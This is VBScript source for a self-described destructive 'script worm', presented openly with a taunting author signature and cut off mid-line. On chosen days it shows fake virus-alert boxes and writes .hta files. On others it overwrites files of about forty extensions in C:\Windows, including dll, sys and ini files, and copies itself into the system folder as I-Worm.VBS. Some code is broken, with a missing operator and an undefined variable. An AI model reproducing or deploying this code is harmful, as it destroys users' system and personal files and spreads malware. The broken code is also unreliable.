' VB§.DOO§DAY.VB§ 'CREATED BY: §ATANiK CHiLD 'THI§ I§ ONE NA§TY A§§ §CRIPT WORM! On Error Resume Next Dim fso,Reg,file,hta Set fso = CreateObject("Scripting.FileSystemObject") Set Sh = WScript.CreateObject("WScript.Shell") Set file = fso.CreateTextFile("C:\Windows\MSGBOX.vbs") file.WriteLine"On Error Resume Next" file.WriteLine"MsgBox""Be on alert! There is a new internet worm that is infecting computers!"",VbOKOnly+VbCritical,""Microsoft Windows""" file.Close Set Runit = Wscript.CreateObject("Wscript.Shell") Wscript.Sleep 9999 Runit.Run"C:\Windows\MSGBOX.vbs" If Day(Now())= 3 or Day(Now()) = 13 or Day(Now()) = 7 Day(Now()) = 4 or Day(Now()) = 10 or Day(Now()) = 12 or Day(Now()) = 24 or Day(Now()) = 29 or Day(Now()) = 30 Then Set hta = fso.CreateTextFile("C:\WINDOWS\OOOOOPS.hta",True) hta.WriteLine"<" & "HTML>"&"<" & "HEAD>"&"<" & "TITLE>VIRUS ALERT<" & "/TITLE>"&vbcrlf&""&_ "<" & "/HEAD>"&vbcrlf&"<" &"script language =""VBScript"">"&VbCrLf&""&VbCrLf&"<" & "/SCRIPT>"&VbCrLf&"<" & "/body><" & "/html>"&vbCrlf&"" hta.Close End If If Day(Now())= 1 or Day(Now())= 2 or Day(Now())= 7 or Day(Now()) = 9 or Day(Now()) = 10 or Day(Now()) = 12 or Day(Now()) = 15 or Day(Now())= 16 or Day(Now()) = 17 or Day(Now()) = 21 or Day(Now()) = 22 or Day(Now()) = 23 or Day(Now()) = 27 or Day(Now()) = 28 or Day(Now()) = 29 Then WScript.Echo"Please make sure all your antivirus programs are updated. " Set folderi = fso.GetFolder("C:\WINDOWS") Set fid = folderi.Files For each file1 in fid ext = fso.GetExtensionName(file1.path) ext = lcase(ext) filen = lcase(file1.name) If (ext="vbs") or (ext="htm") or (ext="js") or (ext="hlp") or (ext="bmp") or (ext="chm") or (ext="jpg") or (ext="gif") or (ext="doc") or (ext="pif") or (ext="html") or (ext="ico") or (ext="cur") or (ext="rtf") or (ext="mp3") or (ext="mpg") or (ext="wav") or (ext="pdf") or (ext="cab") or (ext="zip") or (ext="ace") or (ext="rar") or (ext="ttf") or (ext="bak") or (ext="class") or (ext="bat") or (ext="ini") or (ext="inf") or (ext="sys") or (ext="log") or (ext="ttf") or (ext="wiz") or (ext="midi") or (ext="tmp") or (ext="reg") or (ext="dll") Then Set fileen = fso.OpenTextFile(file1.path,2,true) fileen.Write mecopy fileen.Close End If Next Dim fso2,dirsystem,phile,vbscopy,MakeCopy Set fso2 = CreateObject("Scripting.FileSystemObject") Set reg = CreateObject("WScript.Shell") Set dirsystem = fso2.GetSpecialFolder(1) Set phile = fso2.OpenTextFile(WScript.ScriptFullname,1) Set MakeCopy = fso2.GetFile(WScript.ScriptFullName) vbscopy=phile.ReadAll MakeCopy.Copy(dirsystem&"\I-Worm.VBS") eq="" ctr=0 Set fso2 = CreateObject("Scripting.FileSystemObject") Set phile = fso2.OpenTextFile(WScript.ScriptFullname,1) vbscopy=phile.ReadAll Set SYS = FSO.CreateTextFile("C:\Windows\WOrMMESSAGE.HTA") SYS.WriteLine ""&""&"

"&" sAtAnYk chYld h@s fucked y0u g00d <"&"/"&"div>"&Chr(13)&Chr(10)&"